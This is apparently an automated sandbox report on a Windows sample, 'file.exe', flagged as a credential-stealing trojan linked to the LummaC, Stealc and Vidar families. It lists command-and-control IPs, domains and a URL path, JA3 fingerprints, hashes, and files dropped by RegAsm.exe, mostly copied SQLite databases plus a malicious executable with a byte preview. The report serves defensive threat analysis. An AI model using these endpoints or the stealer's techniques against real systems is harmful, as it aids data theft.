Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@49/63@3/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 85 Number of non-executed functions: 255
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe, UsoClient.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 13.89.179.12
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:55:15	API Interceptor	4x Sleep call for process: RegAsm.exe modified
18:46:03	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
95.164.119.162	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	stadiatechnologies.com/
	Setup.exe	Get hash	malicious	Vidar	Browse	stadiatechnologies.com/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	stadiatechnologies.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	IrisLily673Xander.msc.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://vie.dei.mybluehost.me//pass/index/	Get hash	malicious	Unknown	Browse	162.241.253.129
	http://allegro-8888.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
condedqpwqm.shop	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.10.172
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.10.172
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.10.172
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.10.172
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.10.172
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	AUTOFMT.EXE.exe	Get hash	malicious	LummaC	Browse	104.21.10.172
stadiatechnologies.com	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	Setup.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	95.164.119.162

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VAKPoltavaUkraineUA	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	95.164.119.162
	Setup.exe	Get hash	malicious	Vidar	Browse	95.164.119.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	95.164.119.162
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	RedLine	Browse	147.45.47.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Get hash	malicious	LummaC	Browse	147.45.44.131
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.68.138
CLOUDFLARENETUS	https://07d6b6-35.myshopify.com/pages/enternal/#1aWdvYmVsaUBoaWxjb3JwLmNvbQ0=	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	Play_VMNow-GlobalpCOINC.html	Get hash	malicious	HTMLPhisher	Browse	172.67.206.58
	https://ca.docusign.net/Signing/EmailStart.aspx?a=1cdabf46-ff5a-4450-ae28-4b5293077687&etti=24&acct=938a1226-4cc2-4b96-95f9-d33be464ae6b&er=5b95ae4e-7414-40c0-b9fc-e2de228fcc1b	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://leembal.com.mx	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://www.de-blizzard.com	Get hash	malicious	Unknown	Browse	104.18.86.42
	phish_alert_iocp_v1.4.48 (43).eml	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	http://www.chessmetrics.com/cm/DL/DL9.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	August Shipment - Inv No. 041.xls	Get hash	malicious	Unknown	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.146.35
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	Setup-Pro.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.146.35
	Update.js	Get hash	malicious	Unknown	Browse	172.67.146.35
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.146.35
37f463bf4616ecd445d4a1937da06e19	Dll1.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	Dll1.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	x64_installer__v4.5.6.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	Ad#U043ebe_Activator.exe	Get hash	malicious	LummaC	Browse	149.154.167.99
	file.exe	Get hash	malicious	Meduza Stealer	Browse	149.154.167.99
	file.exe	Get hash	malicious	Meduza Stealer	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.99
	0eyaBVo6tq.msi	Get hash	malicious	Unknown	Browse	149.154.167.99
	2ANivMQUch.msi	Get hash	malicious	Unknown	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAEBAFBGIDHCBFHIECFCBGHIEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAKJDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AECFCAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAFBGDHCBAEH\DHDAKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.848598812124929
Encrypted:	false
SSDEEP:	24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
MD5:	9664DAA86F8917816B588C715D97BE07
SHA1:	FAD9771763CD861ED8F3A57004C4B371422B7761
SHA-256:	8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
SHA-512:	E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCGHDHIDH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	328232
Entropy (8bit):	7.985419942417084
Encrypted:	false
SSDEEP:	6144:35uFHiULOSvfZatr21JdZPOYqVc9NRbxGbJXrBFXfRUc1/lsFCGxFEO:301TRfD1JT2cxx0XlFZUAlCzEO
MD5:	E377DAE8BDF40A95DB250E59842D2915
SHA1:	736FB820155A7511131490D243433C010889A523
SHA-256:	549E34CD006E9805549E99590A78FBAD9D5A963CB48D841C553D5CCD40A367B1
SHA-512:	D19CDA4F015E14841D446D2E45327DD224AE88BDC76F12689ECE9CCE48D2944B4BF888A15E08D8ED6E40186C6BD399AE7E1A0DAE3C193F4CBA15EB75FCD6D60E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...V..f............................^.... ........@.. .......................@.......R....`.....................................S.......B...............(&... ....................................................... ............... ..H............text...d.... ...................... ..`.rsrc...B...........................@..@.reloc....... ......................@..B................@.......H...........8...........................................................\|~0..B...~.fc....8...u. ..&.r......K."Y`_....Bw...o..R.Xc.`.......(o..n.....E5L`s..B.&.3.jm..c ...1...X.z.kH.m..J[_sN..O.....W......./..M.3..e.z:....7I.y.7.L.9..o .1....;%...nz4..WlEn#.7N......:v....M...I...C....k...}..f8\x.q+_.w.u!.bZ..x.B.8y.-..]C..4...5..k...2..-.5P....N.!.W%....mJ.'.p.V.$.8..w6..H.ps....\|...;.....)...H9.Q.(V,.[nM..n.g.Ng...c.CG.'.h.4.....{..H.-`......=:....F1.f?

C:\ProgramData\EGIIJDHCGCBK\AAFIDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\BAAEHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\DGIJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\EGIIJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\EGIIJD-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\FBFCFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\GIJKKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\HJKKFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\IJKJJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIIJDHCGCBK\IJKJJK-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
